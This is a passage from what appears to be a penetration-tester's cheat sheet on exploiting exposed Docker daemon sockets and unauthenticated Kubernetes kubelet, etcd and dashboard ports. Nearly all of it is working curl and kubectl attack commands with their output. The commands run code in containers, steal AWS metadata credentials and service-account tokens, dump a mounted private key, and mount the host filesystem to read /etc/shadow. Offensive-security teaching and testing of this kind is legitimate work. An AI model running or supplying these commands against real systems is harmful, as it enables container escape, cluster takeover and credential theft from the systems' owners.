'Content-Type: application/json' http://localhost/containers/create {"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null} Start the container $ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start As mentioned above you can also have the docker socket listen on a TCP port You can validate it's docker by hitting it with a version request $ curl -s http://open.docker.socket:2375/version | jq { "Version": "1.13.1", "ApiVersion": "1.26", "MinAPIVersion": "1.12", "GitCommit": "07f3374/1.13.1", "GoVersion": "go1.9.4", "Os": "linux", "Arch": "amd64", "KernelVersion": "3.10.0-514.26.2.el7.x86_64", "BuildTime": "2018-12-07T16:13:51.683697055+00:00", "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64" } or with the docker client docker -H open.docker.socket:2375 version Server: Engine: Version: 1.13.1 API version: 1.26 (minimum version 1.12) Go version: go1.9.4 Git commit: 07f3374/1.13.1 Built: Fri Dec 7 16:13:51 2018 OS/Arch: linux/amd64 Experimental: false This is basically a shell into the container Get a list of running containers with the ps command docker -H open.docker.socket:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 72cd30d28e5c gogs/gogs "/app/gogs/docker/st…" 5 days ago Up 5 days 0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp gogs b522a9034b30 jdk1.8 "/bin/bash" 5 days ago Up 5 days myjdk8 0f5947860c17 centos/mysql-57-centos7 "container-entrypoin…" 8 days ago Up 8 days 0.0.0.0:3306->3306/tcp mysql 3965c004c7a7 192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT "java -jar /app.jar" 8 days ago Up 8 days 0.0.0.0:12000->12000/tcp config 3f466b754971 42cb59080921 "/bin/bash" 8 days ago Up 8 days jdk8 6499013fdc2d registry "/entrypoint.sh /etc…" 8 days ago Up 8 days 0.0.0.0:5000->5000/tcp registry Exec into one of the containers docker -H open.docker.socket:2375 exec -it mysql /bin/bash bash-4.2$ whoami mysql Other commands Are there some stopped containers? docker -H open.docker.socket:2375 ps -a What are the images pulled on the host machine? docker -H open.docker.socket:2375 images I've frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API. The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output. Using curl to hit the API Sometimes you'll see 2376 up for the TLS endpoint. I haven't been able to connect to it with the docker client but you can with curl no problem to hit the docker API. Docker socket to metadata URL https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec Below is an example of hitting the internal AWS metadata URL and getting the output list containers: curl --insecure https://tls-opendocker.socker:2376/containers/json | jq [ { "Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668", "Names": [ "/docker_snip_1" ], "Image": "dotnetify", "ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca", "Command": "cmd /S /C 'dotnet netify-temp.dll'", "Created": 1541018555, "Ports": [ { "IP": "0.0.0.0", "PrivatePort": 443, "PublicPort": 50278, ---SNIP--- List processes in a container: curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq { "Processes": [ [ "smss.exe", "7868", "00:00:00.062", "225.3kB" ], [ "csrss.exe", "10980", "00:00:00.859", "421.9kB" ], [ "wininit.exe", "10536", "00:00:00.078", "606.2kB" ], [ "services.exe", "10768", "00:00:00.687", "1.208MB" ], [ "lsass.exe", "10416", "00:00:36.000", "4.325MB" ], ---SNIP--- Set up and exec job to hit the metadata URL: curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' {"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"} Get the output: curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' { "Code" : "Success", "LastUpdated" : "2019-01-29T20:12:58Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIATRSNIP", "SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP", "Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP", "Expiration" : "2019-01-30T02:43:34Z" } Docker secrets relevant reading https://docs.docker.com/engine/swarm/secrets/ list secrets (no secrets/swarm not set up) curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq { "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."} list secrets (they exist) $ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq [ { "ID": "9h3useaicj3tr465ejg2koud5", "Version": { "Index": 21 }, "CreatedAt": "2018-07-06T10:19:50.677702428Z", "UpdatedAt": "2018-07-06T10:19:50.677702428Z", "Spec": { "Name": "registry-key.key", "Labels": {} }}, Check what is mounted curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}' {"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"} Get the output by starting the exec curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}' overlay on / type overlay proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755) devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666) sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime) ---SNIP--- mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime) /dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered) /dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered) /dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered) shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k) /dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered) tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime) tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime) tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime) ---SNIP--- Cat the mounted secret curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}' {"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"} curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}' -----BEGIN RSA PRIVATE KEY----- MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0 ---SNIP--- If you have secrets, it's also worth checking out services in case they are adding secrets via environment variables curl -s --insecure https://tls-opendocker.socket:2376/services | jq [{ "ID": "amxjs243dzmlc8vgukxdsx57y", "Version": { "Index": 6417 }, "CreatedAt": "2018-04-16T19:51:20.489851317Z", "UpdatedAt": "2018-12-07T13:44:36.6869673Z", "Spec": { "Name": "app_REMOVED", "Labels": {}, "TaskTemplate": { "ContainerSpec": { "Image": "dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739", "Env": [ "PGADMIN_DEFAULT_EMAIL=REMOVED@gmail.com", "PGADMIN_DEFAULT_PASSWORD=REMOVED" ], "Isolation": "default" Creating a container that has mounted the host file system curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' {"Id":"0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192","Warnings":null} curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test Read something from the host curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' {"Id":"140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6"} curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}' root:$6$THEPASSWORDHASHWUZHERE:17717:0:99999:7::: daemon:*:17001:0:99999:7::: bin:*:17001:0:99999:7::: sys:*:17001:0:99999:7::: sync:*:17001:0:99999:7::: games:*:17001:0:99999:7::: Cleanup Stop the container curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop delete stopped containers curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
Below is some sample output that mainly is here to see what open 10255 will give you and look like. What probably of most interest is the /pods endpoint or the /metrics endpoint or the /stats endpoint $ ./kube-hunter.py Choose one of the options below: 1. Remote scanning (scans one or more specific IPs or DNS names) 2. Subnet scanning (scans subnets on all local network interfaces) 3. IP range scanning (scans a given IP range) Your choice: 1 Remotes (separated by a ','): 1.2.3.4 ~ Started ~ Discovering Open Kubernetes Services... | | Etcd: | type: open service | service: Etcd |_ host: 1.2.3.4:2379 | | API Server: | type: open service | service: API Server |_ host: 1.2.3.4:443 | | API Server: | type: open service | service: API Server |_ host: 1.2.3.4:6443 | | Etcd Remote version disclosure: | type: vulnerability | host: 1.2.3.4:2379 | description: | Remote version disclosure might give an |_ attacker a valuable data to attack a cluster | | Etcd is accessible using insecure connection (HTTP): | type: vulnerability | host: 1.2.3.4:2379 | description: | Etcd is accessible using HTTP (without | authorization and authentication), it would allow a | potential attacker to | gain access to |_ the etcd | | Kubelet API (readonly): | type: open service | service: Kubelet API (readonly) |_ host: 1.2.3.4:10255 | | Etcd Remote Read Access Event: | type: vulnerability | host: 1.2.3.4:2379 | description: | Remote read access might expose to an |_ attacker cluster's possible exploits, secrets and more. | | K8s Version Disclosure: | type: vulnerability | host: 1.2.3.4:10255 | description: | The kubernetes version could be obtained |_ from logs in the /metrics endpoint | | Privileged Container: | type: vulnerability | host: 1.2.3.4:10255 | description: | A Privileged container exist on a node. | could expose the node/cluster to unwanted root |_ operations | | Cluster Health Disclosure: | type: vulnerability | host: 1.2.3.4:10255 | description: | By accessing the open /healthz handler, an | attacker could get the cluster health state without |_ authenticating | | Exposed Pods: | type: vulnerability | host: 1.2.3.4:10255 | description: | An attacker could view sensitive information | about pods that are bound to a Node using |_ the /pods endpoint ---------- Nodes +-------------+---------------+ | TYPE | LOCATION | +-------------+---------------+ | Node/Master | 1.2.3.4 | +-------------+---------------+ Detected Services +----------------------+---------------------+----------------------+ | SERVICE | LOCATION | DESCRIPTION | +----------------------+---------------------+----------------------+ | Kubelet API | 1.2.3.4:10255 | The read-only port | | (readonly) | | on the kubelet | | | | serves health | | | | probing endpoints, | | | | and is relied upon | | | | by many kubernetes | | | | componenets | +----------------------+---------------------+----------------------+ | Etcd | 1.2.3.4:2379 | Etcd is a DB that | | | | stores cluster's | | | | data, it contains | | | | configuration and | | | | current state | | | | information, and | | | | might contain | | | | secrets | +----------------------+---------------------+----------------------+ | API Server | 1.2.3.4:6443 | The API server is in | | | | charge of all | | | | operations on the | | | | cluster. | +----------------------+---------------------+----------------------+ | API Server | 1.2.3.4:443 | The API server is in | | | | charge of all | | | | operations on the | | | | cluster. | +----------------------+---------------------+----------------------+ Vulnerabilities +---------------------+----------------------+----------------------+----------------------+----------------------+ | LOCATION | CATEGORY | VULNERABILITY | DESCRIPTION | EVIDENCE | +---------------------+----------------------+----------------------+----------------------+----------------------+ | 1.2.3.4:2379 | Unauthenticated | Etcd is accessible | Etcd is accessible | {"etcdserver":"2.3.8 | | | Access | using insecure | using HTTP (without | ","etcdcluster":"2.3 | | | | connection (HTTP) | authorization and | ... | | | | | authentication), it | | | | | | would allow a | | | | | | potential attacker | | | | | | to | | | | | | gain access to | | | | | | the etcd | | +---------------------+----------------------+----------------------+----------------------+----------------------+ | 1.2.3.4:2379 | Information | Etcd Remote version | Remote version | {"etcdserver":"2.3.8 | | | Disclosure | disclosure | disclosure might | ","etcdcluster":"2.3 | | | | | give an attacker a | ... | | | | | valuable data to | | | | | | attack a cluster | | +---------------------+----------------------+----------------------+----------------------+----------------------+ | 1.2.3.4:10255 | Information | K8s Version | The kubernetes | v1.5.6-rc17 | | | Disclosure | Disclosure | version could be | | | | | | obtained from logs | | | | | | in the /metrics | | | | | | endpoint | | +---------------------+----------------------+----------------------+----------------------+----------------------+ | 1.2.3.4:10255 | Information | Exposed Pods | An attacker could | count: 68 | | | Disclosure | | view sensitive | | | | | | information about | | | | | | pods that are bound | | | | | | to a Node using the | | | | | | /pods endpoint | | +---------------------+----------------------+----------------------+----------------------+----------------------+ | 1.2.3.4:10255 | Information | Cluster Health | By accessing the | status: ok | | | Disclosure | Disclosure | open /healthz | | | | | | handler, an attacker | | | | | | could get the | | | | | | cluster health state | | | | | | without | | | | | | authenticating | | +---------------------+----------------------+----------------------+----------------------+----------------------+ | 1.2.3.4:2379 | Access Risk | Etcd Remote Read | Remote read access | {"action":"get","nod | | | | Access Event | might expose to an | e":{"dir":true,"node | | | | | attacker cluster's | ... | | | | | possible exploits, | | | | | | secrets and more. | | +---------------------+----------------------+----------------------+----------------------+----------------------+ | 1.2.3.4:10255 | Access Risk | Privileged Container | A Privileged | pod: node-exporter- | | | | | container exist on a | 1fmd9-z9685, | | | | | node. could expose | containe... | | | | | the node/cluster to | | | | | | unwanted root | | | | | | operations | | +---------------------+----------------------+----------------------+----------------------+----------------------+
Kubernetes: unauthenticated kublet API (10250) token theft & kubectl access & exec do a curl -s https://k8-node:10250/runningpods/ to get a list of running pods curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /" total 35264 drwxr-xr-x 1 root root 4096 Nov 9 16:27 . drwxr-xr-x 1 root root 4096 Nov 9 16:27 .. -rwxr-xr-x 1 root root 0 Nov 9 16:27 .dockerenv drwxr-xr-x 2 root root 4096 Nov 9 16:27 bin drwxr-xr-x 5 root root 380 Nov 9 16:27 dev -rwxr-xr-x 1 root root 36047205 Apr 13 2018 dnsmasq-nanny drwxr-xr-x 1 root root 4096 Nov 9 16:27 etc drwxr-xr-x 2 root root 4096 Jan 9 2018 home drwxr-xr-x 5 root root 4096 Nov 9 16:27 lib drwxr-xr-x 5 root root 4096 Nov 9 16:27 media drwxr-xr-x 2 root root 4096 Jan 9 2018 mnt dr-xr-xr-x 134 root root 0 Nov 9 16:27 proc drwx------ 2 root root 4096 Jan 9 2018 root drwxr-xr-x 2 root root 4096 Jan 9 2018 run drwxr-xr-x 2 root root 4096 Nov 9 16:27 sbin drwxr-xr-x 2 root root 4096 Jan 9 2018 srv dr-xr-xr-x 12 root root 0 Dec 19 19:06 sys drwxrwxrwt 1 root root 4096 Nov 9 17:00 tmp drwxr-xr-x 7 root root 4096 Nov 9 16:27 usr drwxr-xr-x 1 root root 4096 Nov 9 16:27 var curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env" We are looking for the KUBLET_CERT, KUBLET_KEY, & CA_CERT environment variables. We are also looking for the kubernetes API server. This is most likely NOT the host you are messing with on 10250. We are looking for something like: KUBERNETES_PORT=tcp://10.10.10.10:443 or KUBERNETES_MASTER_NAME: 10.11.12.13:443 Once we get the kubernetes tokens or keys we need to talk to the API server to use them. The kublet (10250) wont know what to do with them. This may be (if we are lucky) another public IP or a 10. IP. If it's a 10. IP we need to download kubectl to the pod. Assuming it's not in the environment variables let's look and see if they are there in the mounted secrets curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount" sample output truncated: cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices) mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime) /dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30,data=ordered) /dev/sda1 on /etc/k8s/dns/dnsmasq-nanny type ext4 (rw,relatime,commit=30,data=ordered) tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime) /dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered) /dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered) /dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30,data=ordered) shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k) We can then cat out the ca.cert, namespace, and token curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount" Output: total 4 drwxrwxrwt 3 root root 140 Nov 9 16:27 . drwxr-xr-x 3 root root 4.0K Nov 9 16:27 .. lrwxrwxrwx 1 root root 13 Nov 9 16:27 ca.crt -> ..data/ca.crt lrwxrwxrwx 1 root root 16 Nov 9 16:27 namespace -> ..data/namespace lrwxrwxrwx 1 root root 12 Nov 9 16:27 token -> ..data/token curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token" output: eyJhbGciOiJSUzI1NiI---SNIP--- Also grab the ca.crt :-) With the token, ca.crt and api server IP address we can issue commands with kubectl. $ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --all-namespaces NAMESPACE NAME READY STATUS RESTARTS AGE kube-system event-exporter-v0.1.9-5c-SNIP 2/2 Running 2 120d kube-system fluentd-cloud-logging-gke-eeme-api-default-pool 1/1 Running 1 2y kube-system heapster-v1.5.2-5-SNIP 3/3 Running 0 27d kube-system kube-dns-5b8-SNIP 4/4 Running 0 61d kube-system kube-dns-autoscaler-2-SNIP 1/1 Running 1 252d kube-system kube-proxy-gke-eeme-api-default-pool 1/1 Running 1 2y kube-system kubernetes-dashboard-7-SNIP 1/1 Running 0 27d kube-system l7-default-backend-10-SNIP 1/1 Running 0 27d kube-system metrics-server-v0.2.1-7-SNIP 2/2 Running 0 120d $ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get secrets --all-namespaces $ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --namespace=kube-system NAME READY STATUS RESTARTS AGE event-exporter-v0.1.9-5-SNIP 2/2 Running 2 120d --SNIP-- metrics-server-v0.2.1-7f8ee58c8f-ab13f 2/2 Running 0 120d $ kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system--server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- /bin/sh / # ls -lah total 40220 drwxr-xr-x 1 root root 4.0K Sep 11 07:25 . drwxr-xr-x 1 root root 4.0K Sep 11 07:25 .. -rwxr-xr-x 1 root root 0 Sep 11 07:25 .dockerenv drwxr-xr-x 3 root root 4.0K Sep 11 07:25 apiserver.local.config drwxr-xr-x 2 root root 12.0K Sep 11 07:24 bin drwxr-xr-x 5 root root 380 Sep 11 07:25 dev drwxr-xr-x 1 root root 4.0K Sep 11 07:25 etc drwxr-xr-x 2 nobody nogroup 4.0K Nov 1 2017 home -rwxr-xr-x 2 root root 39.2M Dec 20 2017 metrics-server dr-xr-xr-x 135 root root 0 Sep 11 07:25 proc drwxr-xr-x 1 root root 4.0K Dec 19 21:33 root dr-xr-xr-x 12 root root 0 Dec 19 19:06 sys drwxrwxrwt 1 root root 4.0K Oct 18 13:57 tmp drwxr-xr-x 3 root root 4.0K Sep 11 07:24 usr drwxr-xr-x 1 root root 4.0K Sep 11 07:25 var kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --client-key=kublet.key --client-certificate=kublet.crt get pods --all-namespaces
Unauth API access (10250) # /run/%namespace%/%pod_name%/%container_name% example: $ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /" total 12 drwxr-xr-x 13 root root 148 Aug 26 11:31 . drwxr-xr-x 13 root root 148 Aug 26 11:31 .. -rwxr-xr-x 1 root root 0 Aug 26 11:31 .dockerenv drwxr-xr-x 2 root root 8192 May 5 22:22 bin drwxr-xr-x 5 root root 380 Aug 26 11:31 dev drwxr-xr-x 3 root root 135 Aug 26 11:31 etc drwxr-xr-x 2 nobody nogroup 6 Mar 18 16:38 home drwxr-xr-x 2 root root 6 Apr 23 11:17 lib dr-xr-xr-x 353 root root 0 Aug 26 07:14 proc drwxr-xr-x 2 root root 6 Mar 18 16:38 root dr-xr-xr-x 13 root root 0 Aug 26 15:12 sys drwxrwxrwt 2 root root 6 Mar 18 16:38 tmp drwxr-xr-x 4 root root 31 Apr 23 11:17 usr drwxr-xr-x 5 root root 41 Aug 26 11:31 var $ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/ /" -d "cmd=env" The list of all pods and containers which were scheduled on the Kubernetes worker node could be retrieved using command below: $ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool or $ curl --insecure https://k8s-node-1:10250/runningpods | jq curl --insecure https://1.2.3.4:10250/runningpods | jq Output: Forbidden (user=system:anonymous, verb=create, resource=nodes, subresource=proxy) Example 2: curl --insecure https://1.2.3.4:10250/runningpods | jq Output: Unauthorized Example 3: curl --insecure https://1.2.3.4:10250/runningpods | jq { "kind": "PodList", "apiVersion": "v1", "metadata": {}, "items": [ { "metadata": { "name": "kube-dns-5b8bf6c4f4-k5n2g", "generateName": "kube-dns-5b8bf6c4f4-", "namespace": "kube-system", "selfLink": "/api/v1/namespaces/kube-system/pods/kube-dns-5b8bf6c4f4-k5n2g", "uid": "63438841-e43c-11e8-a104-42010a80038e", "resourceVersion": "85366060", "creationTimestamp": "2018-11-09T16:27:44Z", "labels": { "k8s-app": "kube-dns", "pod-template-hash": "1646927090" }, "annotations": { "kubernetes.io/config.seen": "2018-11-09T16:27:44.990071791Z", "kubernetes.io/config.source": "api", "scheduler.alpha.kubernetes.io/critical-pod": "" }, "ownerReferences": [ { "apiVersion": "extensions/v1beta1", "kind": "ReplicaSet", "name": "kube-dns-5b8bf6c4f4", "uid": "633db9d4-e43c-11e8-a104-42010a80038e", "controller": true } ] }, "spec": { "volumes": [ { "name": "kube-dns-config", "configMap": { "name": "kube-dns", "defaultMode": 420 } }, { "name": "kube-dns-token-xznw5", "secret": { "secretName": "kube-dns-token-xznw5", "defaultMode": 420 } } ], "containers": [ { "name": "dnsmasq", "image": "gcr.io/google-containers/k8s-dns-dnsmasq-nanny-amd64:1.14.10", "args": [ "-v=2", "-logtostderr", "-configDir=/etc/k8s/dns/dnsmasq-nanny", "-restartDnsmasq=true", "--", "-k", "--cache-size=1000", "--no-negcache", "--log-facility=-", "--server=/cluster.local/127.0.0.1#10053", "--server=/in-addr.arpa/127.0.0.1#10053", "--server=/ip6.arpa/127.0.0.1#10053" ], "ports": [ { "name": "dns", "containerPort": 53, "protocol": "UDP" }, { "name": "dns-tcp", "containerPort": 53, "protocol": "TCP" } ], "resources": { "requests": { "cpu": "150m", "memory": "20Mi" } }, "volumeMounts": [ { "name": "kube-dns-config", "mountPath": "/etc/k8s/dns/dnsmasq-nanny" }, { "name": "kube-dns-token-xznw5", "readOnly": true, "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount" } ], "livenessProbe": { "httpGet": { "path": "/healthcheck/dnsmasq", "port": 10054, "scheme": "HTTP" }, "initialDelaySeconds": 60, "timeoutSeconds": 5, "periodSeconds": 10, "successThreshold": 1, "failureThreshold": 5 }, "terminationMessagePath": "/dev/termination-log", "imagePullPolicy": "IfNotPresent" }, --------SNIP--------- With the output of the running pods command you can craft your command to do the code exec $ curl -k -XPOST "https://k8s-node-1:10250/run// /" -d "cmd=env" as an example: leaves you with: curl -k -XPOST "https://kube-node-here:10250/run/kube-system/kube-dns-5b8bf6c4f4-k5n2g/dnsmasq" -d "cmd=ls -la /" total 35264 drwxr-xr-x 1 root root 4096 Nov 9 16:27 . drwxr-xr-x 1 root root 4096 Nov 9 16:27 .. -rwxr-xr-x 1 root root 0 Nov 9 16:27 .dockerenv drwxr-xr-x 2 root root 4096 Nov 9 16:27 bin drwxr-xr-x 5 root root 380 Nov 9 16:27 dev -rwxr-xr-x 1 root root 36047205 Apr 13 2018 dnsmasq-nanny drwxr-xr-x 1 root root 4096 Nov 9 16:27 etc drwxr-xr-x 2 root root 4096 Jan 9 2018 home drwxr-xr-x 5 root root 4096 Nov 9 16:27 lib drwxr-xr-x 5 root root 4096 Nov 9 16:27 media drwxr-xr-x 2 root root 4096 Jan 9 2018 mnt dr-xr-xr-x 125 root root 0 Nov 9 16:27 proc drwx------ 2 root root 4096 Jan 9 2018 root drwxr-xr-x 2 root root 4096 Jan 9 2018 run drwxr-xr-x 2 root root 4096 Nov 9 16:27 sbin drwxr-xr-x 2 root root 4096 Jan 9 2018 srv dr-xr-xr-x 12 root root 0 Nov 9 16:27 sys drwxrwxrwt 1 root root 4096 Nov 9 17:00 tmp drwxr-xr-x 7 root root 4096 Nov 9 16:27 usr drwxr-xr-x 1 root root 4096 Nov 9 16:27 var
Other Kubernetes ports What are some of the visible ports used in Kubernetes? 44134/tcp - Helmtiller, weave, calico 10250/tcp - kubelet (kublet exploit) No authN, completely open /pods /runningpods /containerLogs 10255/tcp - kublet port (read-only) /stats /metrics /pods 4194/tcp - cAdvisor 2379/tcp - etcd (see it on other ports though) Etcd holds all the configs Config storage 30000 - dashboard 443/6443 - api
Tesla was famously hacked for leaving this open and it's pretty rare to find it exposed externally now but useful to know what it is and what you can do with it. Vulnerabilities +-----------------------+---------------+----------------------+----------------------+------------------+ | LOCATION | CATEGORY | VULNERABILITY | DESCRIPTION | EVIDENCE | +-----------------------+---------------+----------------------+----------------------+------------------+ | 1.2.3.4:30000 | Remote Code | Dashboard Exposed | All oprations on the | nodes: pach-okta | | | Execution | | cluster are exposed | | +-----------------------+---------------+----------------------+----------------------+------------------+ Why do you care? It has access to all pods and secrets within the cluster. So rather than using command line tools to get secrets or run code you can just do it in a web browser. Screenshots of what it looks like: shells
How to get the info that kube-hunter reports for open /containerLogs endpoint Vulnerabilities +---------------+-------------+------------------+----------------------+----------------+ | LOCATION CATEGORY | VULNERABILITY | DESCRIPTION | EVIDENCE | +---------------+-------------+------------------+----------------------+----------------+ +----------------+------------+------------------+----------------------+----------------+ | 1.2.3.4:10250 | Information | Exposed Container| Output logs from a | | | | Disclosure | Logs | running container | | | | | | are using the | | | | | | exposed | | | | | | /containerLogs | | | | | | endpoint | | +---------------+-------------+------------------+----------------------+----------------+ First step, grab the output from /runningpods/ example below: You'll need the namespace, pod name and container name. Thus given the below runningpods output: {"metadata":{"name":"monitoring-influxdb-grafana-v4-6679c46745-zhvjw","namespace":"kube-system","uid":"0d22cdad-06e5-11e9-a7f3-6ac885fbc092","creationTimestamp":null},"spec":{"containers":[{"name":"grafana","image":"sha256:8cb3de219af7bdf0b3ae66439aecccf94cebabb230171fa4b24d66d4a786f4f7","resources":{}},{"name":"influxdb","image":"sha256:577260d221dbb1be2d83447402d0d7c5e15501a89b0e2cc1961f0b24ed56c77c","resources":{}}]}, turns into: https://1.2.3.4:10250/containerLogs/kube-system/monitoring-influxdb-grafana-v4-6679c46745-zhvjw/grafana and https://1.2.3.4:10250/containerLogs/kube-system/monitoring-influxdb-grafana-v4-6679c46745-zhvjw/influxdb
